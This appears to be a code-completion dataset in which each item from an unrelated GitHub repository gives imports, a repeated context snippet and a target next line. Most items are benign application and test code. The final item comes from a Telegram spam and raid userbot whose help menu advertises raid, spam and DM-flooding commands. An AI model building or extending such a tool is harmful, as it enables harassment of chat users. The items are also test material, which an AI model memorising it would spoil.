@patch('mindsdb_sdk.connect') def test_authenticate(mock_connect): email = 'test@test.com' password = 'testpassword' mock_server = MagicMock() mock_connect.return_value = mock_server mindsdb = MindsDB(email, password) mindsdb.authenticate() mock_connect.assert_called_once_with(MINDSDB_HOST, login=email, password=password) mock_server.list_databases.assert_called_once() assert mindsdb.is_authenticated is True def test_authenticate_incorrect_password(): mindsdb = MindsDB('test@test.com', 'testpassword') with pytest.raises(CredentialsError): with patch('mindsdb_sdk.connect', side_effect=HTTPError): mindsdb.authenticate() def test_authenticate_network_error(): mindsdb = MindsDB('test@test.com', 'testpassword')

with pytest.raises(NetworkError):

2023-11-16 13:31:55+00:00

2k

xduck7/AI_Spam_checker

start.py

import tkinter as tk from predict import do_prediction from rqst import add_report from rqst import first_start

root= tk.Tk() root.title("SPAM CHECKER") root.geometry("500x600") root.resizable(width=True, height=True) def get_input(): inputValue=textBox.get("1.0","end-1c") print(inputValue) textBox.delete('1.0', 'end') return inputValue def union(): msg = get_input() result = do_prediction(msg) if (result == 1): final_opinion = "✅" else: final_opinion = "❌" #final_opinion = ("Spam result is " + str(result)) label_result.configure(text=final_opinion) label_result.pack() add_report(str(msg), str(result[0][0])) image = tk.PhotoImage(file='./Image/logo.png') smaller_image = image.subsample(5, 5) panel = tk.Label(root, image = smaller_image) textBox= tk.Text(root, height=3, width=80, borderwidth=5, font="Arial 18") panel_text = tk.Label(text="Spam checker", font="Arial 16") panel_values = tk.Label(text="✅ = spam \n ❌ = NOT spam", font="Arial 16") buttonCommit= tk.Button(root, height=1, width=10, text="Check spam",font='Arial 20', command=lambda: union(), borderwidth=5) label_result = tk.Label(text="Loading...", font="Arial 20") filler = tk.Label(text=' ')

root= tk.Tk() root.title("SPAM CHECKER") root.geometry("500x600") root.resizable(width=True, height=True) def get_input(): inputValue=textBox.get("1.0","end-1c") print(inputValue) textBox.delete('1.0', 'end') return inputValue def union(): msg = get_input() result = do_prediction(msg) if (result == 1): final_opinion = "✅" else: final_opinion = "❌" #final_opinion = ("Spam result is " + str(result)) label_result.configure(text=final_opinion) label_result.pack() add_report(str(msg), str(result[0][0])) image = tk.PhotoImage(file='./Image/logo.png') smaller_image = image.subsample(5, 5) panel = tk.Label(root, image = smaller_image) textBox= tk.Text(root, height=3, width=80, borderwidth=5, font="Arial 18") panel_text = tk.Label(text="Spam checker", font="Arial 16") panel_values = tk.Label(text="✅ = spam \n ❌ = NOT spam", font="Arial 16") buttonCommit= tk.Button(root, height=1, width=10, text="Check spam",font='Arial 20', command=lambda: union(), borderwidth=5) label_result = tk.Label(text="Loading...", font="Arial 20") filler = tk.Label(text=' ')

first_start()

2023-11-18 17:11:44+00:00

2k

TheJacksonLaboratory/geneweaver-boolean-algebra

tests/unit/test_boolean_algebra_tool.py

from pathlib import Path from geneweaver.tools.boolean_algebra.tool import ( BooleanAlgebra, BooleanAlgebraInput, BooleanAlgebraOutput, BooleanAlgebraType, WorkflowType, ) from tests.unit.const import ( BOOLEAN_GENESET_GENES_0, BOOLEAN_GENESET_GENES_1, BOOLEAN_GENESET_GENES_2, DIFF_BOOLEAN_GENESET_GENES_0_1_2, INT_BOOLEAN_GENESET_GENES_0_1, INT_BOOLEAN_GENESET_GENES_0_1_2, INT_BOOLEAN_GENESET_GENES_0_2, INT_BOOLEAN_GENESET_GENES_1_2, UNION_BOOLEAN_GENESET_GENES_0_1, ) import pytest

"""Test the boolean algebra tool class.""" @pytest.mark.parametrize( ("input_value", "expected"), [ # Union ( BooleanAlgebraInput( type=BooleanAlgebraType.UNION,

"""Test the boolean algebra tool class.""" @pytest.mark.parametrize( ("input_value", "expected"), [ # Union ( BooleanAlgebraInput( type=BooleanAlgebraType.UNION,

input_genesets=[BOOLEAN_GENESET_GENES_0, BOOLEAN_GENESET_GENES_1],

2023-11-15 17:53:26+00:00

2k

jpcadena/fastapi-boilerplate

app/core/lifecycle.py

import logging from contextlib import asynccontextmanager from typing import Any, AsyncGenerator from fastapi import FastAPI from app.api.deps import RedisConnectionManager from app.config.config import get_auth_settings, get_init_settings, get_settings from app.crud.user import get_user_repository from app.db.init_db import init_db from app.services.infrastructure.ip_blacklist import get_ip_blacklist_service

""" A module for lifecycle in the app-core package. """ logger: logging.Logger = logging.getLogger(__name__) @asynccontextmanager async def lifespan(application: FastAPI) -> AsyncGenerator[Any, None]: """ The lifespan of the application :param application: The FastAPI application :type application: FastAPI :return: An asynchronous generator for the application :rtype: AsyncGenerator[Any, None] """ logger.info("Starting API...") try:

""" A module for lifecycle in the app-core package. """ logger: logging.Logger = logging.getLogger(__name__) @asynccontextmanager async def lifespan(application: FastAPI) -> AsyncGenerator[Any, None]: """ The lifespan of the application :param application: The FastAPI application :type application: FastAPI :return: An asynchronous generator for the application :rtype: AsyncGenerator[Any, None] """ logger.info("Starting API...") try:

application.state.settings = get_settings()

2023-11-17 00:32:32+00:00

2k

juliusmarkwei/auth-system

backend/accounts/views.py

from rest_framework.views import APIView from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.response import Response from rest_framework import status from .serializers import UserSerializer from .models import User, EmailConfirmationToken from .utils import send_confirmation_email

class UserAPIView(APIView): permission_classes = [AllowAny,] def post(self, request): user = request.data serializer = UserSerializer(data=user) serializer.is_valid(raise_exception=True) serializer.save() return Response(serializer.data, status=status.HTTP_201_CREATED) def get_queryset(self): return User.objects.all() def get(self, request, *args, **kwargs): users = self.get_queryset() serializer = UserSerializer(users, many=True) return Response(serializer.data, status=status.HTTP_200_OK) def put(self, request, *args, **kwargs): serializer_data = request.data.get("user", {}) serializer = UserSerializer(request.user, data=serializer_data, partial=True) serializer.is_valid(raise_exception=True) serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) class UserInformationAPIView(APIView): permission_classes = [IsAuthenticated] def get(self, request, *args, **kwargs): user = request.user email = user.email is_verified = user.is_verified payload = {"email": email, "is_verified": is_verified} return Response(data=payload, status=status.HTTP_200_OK) class SendEmailConfirmationTokenAPIView(APIView): permission_classes = [IsAuthenticated] def post(self, request, format=None): user = request.user token = EmailConfirmationToken.objects.create(user=user)

class UserAPIView(APIView): permission_classes = [AllowAny,] def post(self, request): user = request.data serializer = UserSerializer(data=user) serializer.is_valid(raise_exception=True) serializer.save() return Response(serializer.data, status=status.HTTP_201_CREATED) def get_queryset(self): return User.objects.all() def get(self, request, *args, **kwargs): users = self.get_queryset() serializer = UserSerializer(users, many=True) return Response(serializer.data, status=status.HTTP_200_OK) def put(self, request, *args, **kwargs): serializer_data = request.data.get("user", {}) serializer = UserSerializer(request.user, data=serializer_data, partial=True) serializer.is_valid(raise_exception=True) serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) class UserInformationAPIView(APIView): permission_classes = [IsAuthenticated] def get(self, request, *args, **kwargs): user = request.user email = user.email is_verified = user.is_verified payload = {"email": email, "is_verified": is_verified} return Response(data=payload, status=status.HTTP_200_OK) class SendEmailConfirmationTokenAPIView(APIView): permission_classes = [IsAuthenticated] def post(self, request, format=None): user = request.user token = EmailConfirmationToken.objects.create(user=user)

send_confirmation_email(email=user.email, token_id=token.pk, user_id=user.pk)

2023-11-17 17:55:59+00:00

2k

vitant-lang/CBAM-ASPP

nets/deeplabv3_plus.py

import torch import torch.nn as nn import torch.nn.functional as F from .xception import xception from .mobilenetv2 import mobilenetv2 from .attention import se_block,CBAM,eca_block from functools import partial

atteionb=[se_block,CBAM,eca_block] class MobileNetV2(nn.Module): def __init__(self, downsample_factor=8, pretrained=True): super(MobileNetV2, self).__init__()

atteionb=[se_block,CBAM,eca_block] class MobileNetV2(nn.Module): def __init__(self, downsample_factor=8, pretrained=True): super(MobileNetV2, self).__init__()

model = mobilenetv2(pretrained)

2023-11-17 13:25:28+00:00

2k

JiNanPiWang/apple_health_export_gpx_add_heartrate

src/strava_gpx_uploader.py

import json import os import time from stravalib.util.limiter import RateLimiter, XRateLimitRule from stravalib.client import Client, exc from utils.exceptions import RateLimitException, NoInternetException

def get_strava_client(access_token): token = access_token rate_limiter = RateLimiter() rate_limiter.rules.append(XRateLimitRule( {'short': {'usageFieldIndex': 0, 'usage': 0, # 60s * 15 = 15 min 'limit': 100, 'time': (60 * 15), 'lastExceeded': None, }, 'long': {'usageFieldIndex': 1, 'usage': 0, # 60s * 60m * 24 = 1 day 'limit': 1000, 'time': (60 * 60 * 24), 'lastExceeded': None}})) client = Client(rate_limiter=rate_limiter) client.access_token = token return client class StravaGpxUploader: def __init__(self, file_path: str, activity_type): with open("config/strava_config.json", 'r') as f: strava_config = json.load(f) # Edit access_token in the strava_config.json or edit here # like access_token = '***' self.file_path = file_path self.access_token = strava_config["access_token"] self.activity_type = activity_type self.client = get_strava_client(self.access_token) def get_athlete_name(self): athlete = None for i in range(2): try: athlete = self.client.get_athlete() except exc.RateLimitExceeded as err: if i > 0: raise RateLimitException("Daily Rate limit exceeded") print("Rate limit exceeded in connecting - Retrying strava connection in 15 minutes") time.sleep(900) continue break print("Now authenticated for " + athlete.firstname + " " + athlete.lastname) # client, gpxfile, strava_activity_type, notes def upload_gpx(self): gpxfile = self.file_path if not os.path.isfile(gpxfile): print("No file found for " + gpxfile + "!") return False print("Uploading " + gpxfile) for i in range(2): try: # 如果上传成功，则会直接到底下break upload = self.client.upload_activity( activity_file=open(gpxfile, 'r'), data_type='gpx', description='', activity_type=self.activity_type ) except exc.RateLimitExceeded as err: # 第二次循环才会直接到这里 # 这里是说今天已经超过了限制，退出程序 if i > 0: raise RateLimitException("Daily Rate limit exceeded, please try tomorrow") # 第一次循环会直接到这里 # 这里是说这一次超过了限制，等待15分钟 print("Rate limit exceeded in uploading - auto pausing uploads for 15 minutes to avoid rate-limit") time.sleep(900) continue except ConnectionError as err:

def get_strava_client(access_token): token = access_token rate_limiter = RateLimiter() rate_limiter.rules.append(XRateLimitRule( {'short': {'usageFieldIndex': 0, 'usage': 0, # 60s * 15 = 15 min 'limit': 100, 'time': (60 * 15), 'lastExceeded': None, }, 'long': {'usageFieldIndex': 1, 'usage': 0, # 60s * 60m * 24 = 1 day 'limit': 1000, 'time': (60 * 60 * 24), 'lastExceeded': None}})) client = Client(rate_limiter=rate_limiter) client.access_token = token return client class StravaGpxUploader: def __init__(self, file_path: str, activity_type): with open("config/strava_config.json", 'r') as f: strava_config = json.load(f) # Edit access_token in the strava_config.json or edit here # like access_token = '***' self.file_path = file_path self.access_token = strava_config["access_token"] self.activity_type = activity_type self.client = get_strava_client(self.access_token) def get_athlete_name(self): athlete = None for i in range(2): try: athlete = self.client.get_athlete() except exc.RateLimitExceeded as err: if i > 0: raise RateLimitException("Daily Rate limit exceeded") print("Rate limit exceeded in connecting - Retrying strava connection in 15 minutes") time.sleep(900) continue break print("Now authenticated for " + athlete.firstname + " " + athlete.lastname) # client, gpxfile, strava_activity_type, notes def upload_gpx(self): gpxfile = self.file_path if not os.path.isfile(gpxfile): print("No file found for " + gpxfile + "!") return False print("Uploading " + gpxfile) for i in range(2): try: # 如果上传成功，则会直接到底下break upload = self.client.upload_activity( activity_file=open(gpxfile, 'r'), data_type='gpx', description='', activity_type=self.activity_type ) except exc.RateLimitExceeded as err: # 第二次循环才会直接到这里 # 这里是说今天已经超过了限制，退出程序 if i > 0: raise RateLimitException("Daily Rate limit exceeded, please try tomorrow") # 第一次循环会直接到这里 # 这里是说这一次超过了限制，等待15分钟 print("Rate limit exceeded in uploading - auto pausing uploads for 15 minutes to avoid rate-limit") time.sleep(900) continue except ConnectionError as err:

raise NoInternetException("No Internet connection: {}".format(err))

2023-11-14 01:50:02+00:00

2k

rgrizzell/CircuitPython_LILYGO_T-Deck

examples/lilygo_tdeck_custom_keyboard.py

import time import board from lilygo_tdeck import Keyboard, TDeck

# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries # SPDX-FileCopyrightText: Copyright (c) 2023 Robert Grizzell # # SPDX-License-Identifier: Unlicense class MyCustomKeyboard(Keyboard): def __init__(self, backlight: bool = True): super().__init__(board.I2C()) self.backlight(backlight) def backlight(self, state: bool = None, register: int = 0x1): """Send an I2C command to control the keyboard backlight. Custom keyboard firmware is required for this to work. """ if state is None: buf = bytearray(1) else: buf = bytearray(2) buf[1] = int(state) buf[0] = register self._i2c.try_lock() self._i2c.writeto(self._i2c_addr, buffer=buf) self._i2c.unlock() k = MyCustomKeyboard()

# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries # SPDX-FileCopyrightText: Copyright (c) 2023 Robert Grizzell # # SPDX-License-Identifier: Unlicense class MyCustomKeyboard(Keyboard): def __init__(self, backlight: bool = True): super().__init__(board.I2C()) self.backlight(backlight) def backlight(self, state: bool = None, register: int = 0x1): """Send an I2C command to control the keyboard backlight. Custom keyboard firmware is required for this to work. """ if state is None: buf = bytearray(1) else: buf = bytearray(2) buf[1] = int(state) buf[0] = register self._i2c.try_lock() self._i2c.writeto(self._i2c_addr, buffer=buf) self._i2c.unlock() k = MyCustomKeyboard()

t = TDeck(keyboard=k)

2023-11-11 15:13:00+00:00

2k

dataaug/open-interpreter-free

tests/test_interpreter.py

import os import re import time import interpreter from random import randint from interpreter.utils.count_tokens import count_messages_tokens, count_tokens

Round to 2 decimal places. """.strip() messages = interpreter.chat(order_of_operations_message) assert str(round(test_result, 2)) in messages[-1]["message"] def test_delayed_exec(): interpreter.chat( """Can you write a single block of code and execute it that prints something, then delays 1 second, then prints something else? No talk just code. Thanks!""" ) def test_nested_loops_and_multiple_newlines(): interpreter.chat( """Can you write a nested for loop in python and shell and run them? Don't forget to properly format your shell script and use semicolons where necessary. Also put 1-3 newlines between each line in the code. Only generate and execute the code. No explanations. Thanks!""" ) def test_write_to_file(): interpreter.chat("""Write the word 'Washington' to a .txt file called file.txt""") assert os.path.exists("file.txt") interpreter.messages = [] # Just reset message history, nothing else for this test messages = interpreter.chat( """Read file.txt in the current directory and tell me what's in it.""" ) assert "Washington" in messages[-1]["message"] def test_markdown(): interpreter.chat( """Hi, can you test out a bunch of markdown features? Try writing a fenced code block, a table, headers, everything. DO NOT write the markdown inside a markdown code block, just write it raw.""" ) def test_generator(): start_of_message_emitted = False end_of_message_emitted = False start_of_code_emitted = False end_of_code_emitted = False executing_emitted = False end_of_execution_emitted = False for chunk in interpreter.chat("What's 38023*40334?", stream=True, display=False): print(chunk) if "start_of_message" in chunk: start_of_message_emitted = True if "end_of_message" in chunk: end_of_message_emitted = True if "start_of_code" in chunk: start_of_code_emitted = True if "end_of_code" in chunk: end_of_code_emitted = True if "executing" in chunk: executing_emitted = True if "end_of_execution" in chunk: end_of_execution_emitted = True assert start_of_message_emitted assert end_of_message_emitted assert start_of_code_emitted assert end_of_code_emitted assert executing_emitted assert end_of_execution_emitted def test_config_loading(): # because our test is running from the root directory, we need to do some # path manipulation to get the actual path to the config file or our config # loader will try to load from the wrong directory and fail currentPath = os.path.dirname(os.path.abspath(__file__)) config_path = os.path.join(currentPath, "./config.test.yaml") interpreter.extend_config(config_path=config_path) # check the settings we configured in our config.test.yaml file temperature_ok = interpreter.temperature == 0.25 model_ok = interpreter.model == "gpt-3.5-turbo" debug_mode_ok = interpreter.debug_mode == True assert temperature_ok and model_ok and debug_mode_ok def test_system_message_appending(): ping_system_message = ( "Respond to a `ping` with a `pong`. No code. No explanations. Just `pong`." ) ping_request = "ping" pong_response = "pong" interpreter.system_message += ping_system_message messages = interpreter.chat(ping_request) assert messages == [ {"role": "user", "message": ping_request}, {"role": "assistant", "message": pong_response}, ] def test_reset(): # make sure that interpreter.reset() clears out the messages Array assert interpreter.messages == [] def test_token_counter(): system_tokens = count_tokens( text=interpreter.system_message, model=interpreter.model ) prompt = "How many tokens is this?" prompt_tokens = count_tokens(text=prompt, model=interpreter.model) messages = [ {"role": "system", "message": interpreter.system_message} ] + interpreter.messages

# this function will run before each test # we're clearing out the messages Array so we can start fresh and reduce token usage def setup_function(): interpreter.reset() interpreter.temperature = 0 interpreter.auto_run = True interpreter.model = "gpt-4" interpreter.debug_mode = False # this function will run after each test # we're introducing some sleep to help avoid timeout issues with the OpenAI API def teardown_function(): time.sleep(5) def test_hello_world(): hello_world_response = "Hello, World!" hello_world_message = f"Please reply with just the words {hello_world_response} and nothing else. Do not run code. No confirmation just the text." messages = interpreter.chat(hello_world_message) assert messages == [ {"role": "user", "message": hello_world_message}, {"role": "assistant", "message": hello_world_response}, ] def test_math(): # we'll generate random integers between this min and max in our math tests min_number = randint(1, 99) max_number = randint(1001, 9999) n1 = randint(min_number, max_number) n2 = randint(min_number, max_number) test_result = n1 + n2 * (n1 - n2) / (n2 + n1) order_of_operations_message = f""" Please perform the calculation `{n1} + {n2} * ({n1} - {n2}) / ({n2} + {n1})` then reply with just the answer, nothing else. No confirmation. No explanation. No words. Do not use commas. Do not show your work. Just return the result of the calculation. Do not introduce the results with a phrase like \"The result of the calculation is...\" or \"The answer is...\" Round to 2 decimal places. """.strip() messages = interpreter.chat(order_of_operations_message) assert str(round(test_result, 2)) in messages[-1]["message"] def test_delayed_exec(): interpreter.chat( """Can you write a single block of code and execute it that prints something, then delays 1 second, then prints something else? No talk just code. Thanks!""" ) def test_nested_loops_and_multiple_newlines(): interpreter.chat( """Can you write a nested for loop in python and shell and run them? Don't forget to properly format your shell script and use semicolons where necessary. Also put 1-3 newlines between each line in the code. Only generate and execute the code. No explanations. Thanks!""" ) def test_write_to_file(): interpreter.chat("""Write the word 'Washington' to a .txt file called file.txt""") assert os.path.exists("file.txt") interpreter.messages = [] # Just reset message history, nothing else for this test messages = interpreter.chat( """Read file.txt in the current directory and tell me what's in it.""" ) assert "Washington" in messages[-1]["message"] def test_markdown(): interpreter.chat( """Hi, can you test out a bunch of markdown features? Try writing a fenced code block, a table, headers, everything. DO NOT write the markdown inside a markdown code block, just write it raw.""" ) def test_generator(): start_of_message_emitted = False end_of_message_emitted = False start_of_code_emitted = False end_of_code_emitted = False executing_emitted = False end_of_execution_emitted = False for chunk in interpreter.chat("What's 38023*40334?", stream=True, display=False): print(chunk) if "start_of_message" in chunk: start_of_message_emitted = True if "end_of_message" in chunk: end_of_message_emitted = True if "start_of_code" in chunk: start_of_code_emitted = True if "end_of_code" in chunk: end_of_code_emitted = True if "executing" in chunk: executing_emitted = True if "end_of_execution" in chunk: end_of_execution_emitted = True assert start_of_message_emitted assert end_of_message_emitted assert start_of_code_emitted assert end_of_code_emitted assert executing_emitted assert end_of_execution_emitted def test_config_loading(): # because our test is running from the root directory, we need to do some # path manipulation to get the actual path to the config file or our config # loader will try to load from the wrong directory and fail currentPath = os.path.dirname(os.path.abspath(__file__)) config_path = os.path.join(currentPath, "./config.test.yaml") interpreter.extend_config(config_path=config_path) # check the settings we configured in our config.test.yaml file temperature_ok = interpreter.temperature == 0.25 model_ok = interpreter.model == "gpt-3.5-turbo" debug_mode_ok = interpreter.debug_mode == True assert temperature_ok and model_ok and debug_mode_ok def test_system_message_appending(): ping_system_message = ( "Respond to a `ping` with a `pong`. No code. No explanations. Just `pong`." ) ping_request = "ping" pong_response = "pong" interpreter.system_message += ping_system_message messages = interpreter.chat(ping_request) assert messages == [ {"role": "user", "message": ping_request}, {"role": "assistant", "message": pong_response}, ] def test_reset(): # make sure that interpreter.reset() clears out the messages Array assert interpreter.messages == [] def test_token_counter(): system_tokens = count_tokens( text=interpreter.system_message, model=interpreter.model ) prompt = "How many tokens is this?" prompt_tokens = count_tokens(text=prompt, model=interpreter.model) messages = [ {"role": "system", "message": interpreter.system_message} ] + interpreter.messages

system_token_test = count_messages_tokens(

2023-11-16 03:10:42+00:00

2k

TheJacksonLaboratory/geneweaver-client

tests/unit/utils/cli/prompt/pydantic/test_prompt_for_missing_fields.py

from unittest.mock import Mock from geneweaver.client.utils.cli.prompt.pydantic import prompt_for_missing_fields from tests.unit.utils.cli.prompt.pydantic.conftest import ( MOCK_EXISTING_COMBINATIONS, MOCK_MODEL_FIELD_COMBINATIONS, MOCK_MODEL_FIELDS, MockModel, ) import pytest

"""Test the prompt_for_missing_fields function.""" # We can't use every combination of fields because the number of combinations # grows much too large to be practical. # Instead, we use the first 25 and last 25 combinations. @pytest.mark.parametrize( "existing", MOCK_EXISTING_COMBINATIONS[:25] + MOCK_EXISTING_COMBINATIONS[-25:] ) @pytest.mark.parametrize( "exclude", MOCK_MODEL_FIELD_COMBINATIONS[:25] + MOCK_MODEL_FIELD_COMBINATIONS[-25:] ) @pytest.mark.parametrize("prompt_to_keep_existing", [True, False]) def test_prompt_for_missing(existing, exclude, prompt_to_keep_existing, monkeypatch): """Test the prompt_for_missing_fields function.""" mock_prompt_to_keep = Mock() mock_prompt_for_field_by_type = Mock() monkeypatch.setattr( "geneweaver.client.utils.cli.prompt.pydantic.prompt_to_keep_field", mock_prompt_to_keep, ) monkeypatch.setattr( "geneweaver.client.utils.cli.prompt.pydantic.prompt_for_field_by_type", mock_prompt_for_field_by_type, ) prompt_for_missing_fields(MockModel, existing, exclude, prompt_to_keep_existing) # We should prompt for every field in `existing` that is not in `exclude`. if prompt_to_keep_existing and len(existing) > 0: assert mock_prompt_to_keep.call_count == len(set(existing.keys()) - exclude) # We should prompt for every field in `MockModel` that is not in # `existing` or `exclude`. assert mock_prompt_for_field_by_type.call_count == len(

"""Test the prompt_for_missing_fields function.""" # We can't use every combination of fields because the number of combinations # grows much too large to be practical. # Instead, we use the first 25 and last 25 combinations. @pytest.mark.parametrize( "existing", MOCK_EXISTING_COMBINATIONS[:25] + MOCK_EXISTING_COMBINATIONS[-25:] ) @pytest.mark.parametrize( "exclude", MOCK_MODEL_FIELD_COMBINATIONS[:25] + MOCK_MODEL_FIELD_COMBINATIONS[-25:] ) @pytest.mark.parametrize("prompt_to_keep_existing", [True, False]) def test_prompt_for_missing(existing, exclude, prompt_to_keep_existing, monkeypatch): """Test the prompt_for_missing_fields function.""" mock_prompt_to_keep = Mock() mock_prompt_for_field_by_type = Mock() monkeypatch.setattr( "geneweaver.client.utils.cli.prompt.pydantic.prompt_to_keep_field", mock_prompt_to_keep, ) monkeypatch.setattr( "geneweaver.client.utils.cli.prompt.pydantic.prompt_for_field_by_type", mock_prompt_for_field_by_type, ) prompt_for_missing_fields(MockModel, existing, exclude, prompt_to_keep_existing) # We should prompt for every field in `existing` that is not in `exclude`. if prompt_to_keep_existing and len(existing) > 0: assert mock_prompt_to_keep.call_count == len(set(existing.keys()) - exclude) # We should prompt for every field in `MockModel` that is not in # `existing` or `exclude`. assert mock_prompt_for_field_by_type.call_count == len(

set(MOCK_MODEL_FIELDS) - set(existing.keys()) - exclude

2023-11-10 19:28:53+00:00

2k

hmmbug/pythaidate

pythaidate/lsyear.py

from .constants import ( DAYS_IN_800_YEARS, TIME_UNITS_IN_1_DAY, EPOCH_OFFSET, UCCAPON_CONSTANT, APOGEE_ROTATION_DAYS, CAL_TYPE_DAY_COUNTS, )

class LSYear: """ A lightweight class representing a lunisolar year on new year's day. """ def __init__(self, year: int): self.offset = False # adjusted later self.year = year # this year self.horakhun = (year * DAYS_IN_800_YEARS + EPOCH_OFFSET) // TIME_UNITS_IN_1_DAY + 1 self.kammacapon = TIME_UNITS_IN_1_DAY - (year * DAYS_IN_800_YEARS + EPOCH_OFFSET) % TIME_UNITS_IN_1_DAY # ucc_i = (2611 + self.ahargana) // APOGEE_ROTATION_DAYS self.uccapon = (UCCAPON_CONSTANT + self.horakhun) % APOGEE_ROTATION_DAYS avo_quot = (self.horakhun * 11 + 650) // 692 self.avoman = (self.horakhun * 11 + 650) % 692 if self.avoman == 0: self.avoman = 692 self.masaken = (avo_quot + self.horakhun) // 30 self.tithi = (avo_quot + self.horakhun) % 30 if self.avoman == 692: self.tithi -= 1 # rest_quot = self.horakhun // 7 self.weekday = self.horakhun % 7 # next year horakhun1 = ((year + 1) * DAYS_IN_800_YEARS + EPOCH_OFFSET) // TIME_UNITS_IN_1_DAY + 1 quot1 = (horakhun1 * 11 + 650) // 692 # avo1 = (ahargana1 * 11 + 650) % 692 # mas1 = (quot1 + ahargana1) // 30 tithi1 = (quot1 + horakhun1) % 30 # Faraut, pg 28 self.langsak = max(1, self.tithi) self.nyd = self.langsak if self.nyd < 6: self.nyd += 29 self.nyd = (self.weekday - self.nyd + 1 + 35) % 7 # is there a solar year leap day? self.leapday = self.kammacapon <= 207 # A: normal year, 354 days; B: leap day, 355 days; C: leap month, 384 days self.cal_type = 'A' # normal year if self.tithi > 24 or self.tithi < 6: self.cal_type = 'C' # leap month if self.tithi == 25 and tithi1 == 5: self.cal_type = 'A' if (self.leapday and self.avoman <= 126) or (not self.leapday and self.avoman <= 137): self.cal_type = 'B' if self.cal_type != 'C' else 'c' # start of next year if self.cal_type == 'A': self.next_nyd = (self.nyd + 4) % 7 elif self.cal_type == 'B': self.next_nyd = (self.nyd + 5) % 7 elif self.cal_type == 'C' or self.cal_type == 'c': self.next_nyd = (self.nyd + 6) % 7

class LSYear: """ A lightweight class representing a lunisolar year on new year's day. """ def __init__(self, year: int): self.offset = False # adjusted later self.year = year # this year self.horakhun = (year * DAYS_IN_800_YEARS + EPOCH_OFFSET) // TIME_UNITS_IN_1_DAY + 1 self.kammacapon = TIME_UNITS_IN_1_DAY - (year * DAYS_IN_800_YEARS + EPOCH_OFFSET) % TIME_UNITS_IN_1_DAY # ucc_i = (2611 + self.ahargana) // APOGEE_ROTATION_DAYS self.uccapon = (UCCAPON_CONSTANT + self.horakhun) % APOGEE_ROTATION_DAYS avo_quot = (self.horakhun * 11 + 650) // 692 self.avoman = (self.horakhun * 11 + 650) % 692 if self.avoman == 0: self.avoman = 692 self.masaken = (avo_quot + self.horakhun) // 30 self.tithi = (avo_quot + self.horakhun) % 30 if self.avoman == 692: self.tithi -= 1 # rest_quot = self.horakhun // 7 self.weekday = self.horakhun % 7 # next year horakhun1 = ((year + 1) * DAYS_IN_800_YEARS + EPOCH_OFFSET) // TIME_UNITS_IN_1_DAY + 1 quot1 = (horakhun1 * 11 + 650) // 692 # avo1 = (ahargana1 * 11 + 650) % 692 # mas1 = (quot1 + ahargana1) // 30 tithi1 = (quot1 + horakhun1) % 30 # Faraut, pg 28 self.langsak = max(1, self.tithi) self.nyd = self.langsak if self.nyd < 6: self.nyd += 29 self.nyd = (self.weekday - self.nyd + 1 + 35) % 7 # is there a solar year leap day? self.leapday = self.kammacapon <= 207 # A: normal year, 354 days; B: leap day, 355 days; C: leap month, 384 days self.cal_type = 'A' # normal year if self.tithi > 24 or self.tithi < 6: self.cal_type = 'C' # leap month if self.tithi == 25 and tithi1 == 5: self.cal_type = 'A' if (self.leapday and self.avoman <= 126) or (not self.leapday and self.avoman <= 137): self.cal_type = 'B' if self.cal_type != 'C' else 'c' # start of next year if self.cal_type == 'A': self.next_nyd = (self.nyd + 4) % 7 elif self.cal_type == 'B': self.next_nyd = (self.nyd + 5) % 7 elif self.cal_type == 'C' or self.cal_type == 'c': self.next_nyd = (self.nyd + 6) % 7

self.caldays = CAL_TYPE_DAY_COUNTS[self.cal_type]

2023-11-18 21:14:01+00:00

2k

finalparanoia/Bert-VITS2-Preprocess

main.py

from utils.create import create from utils.tag import tag from utils.resample import resample from utils.clean import clean from utils.model_conf import gen_config

if __name__ == "__main__": pass dataset_name = input("请为数据集命名：") create(dataset_name) resample(dataset_name) tag(dataset_name) clean(dataset_name)

if __name__ == "__main__": pass dataset_name = input("请为数据集命名：") create(dataset_name) resample(dataset_name) tag(dataset_name) clean(dataset_name)

gen_config(dataset_name)

2023-11-12 09:42:20+00:00

2k

itzshukla/STRANGER-SPAM

TheXSpam/extra.py

import heroku3 from os import getenv from config import SUDO_USERS, ALIVE_PIC, OWNER_ID, HEROKU_APP_NAME, HEROKU_API_KEY from pyrogram import Client, filters from pyrogram.types import Message

# © @shiva_ansh_op FIRST_TEXT = f"""★ 𝗦𝘁𝗿𝗮𝗻𝗴𝗲𝗿-𝙎𝙥𝙖𝙢 𝙃𝙚𝙡𝙥 𝙈𝙚𝙣𝙪 ★ **» ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/5) **» ʀᴀɪᴅ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/6) **» ꜱᴘᴀᴍ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/7) **» ᴅᴍ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/8)""" @Client.on_message(filters.user(SUDO_USERS) & filters.command(["help"], [".", "!", "/"])) async def help(client: Client, message: Message): await client.send_photo( chat_id=message.chat.id, photo=ALIVE_PIC, caption=FIRST_TEXT ) @Client.on_message(filters.user(OWNER_ID) & filters.command(["sudo"], ["/", ".", "!"])) async def add_sudo(_, message: Message): if not message.reply_to_message: await message.reply_text("» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜꜱᴇʀ !!") return

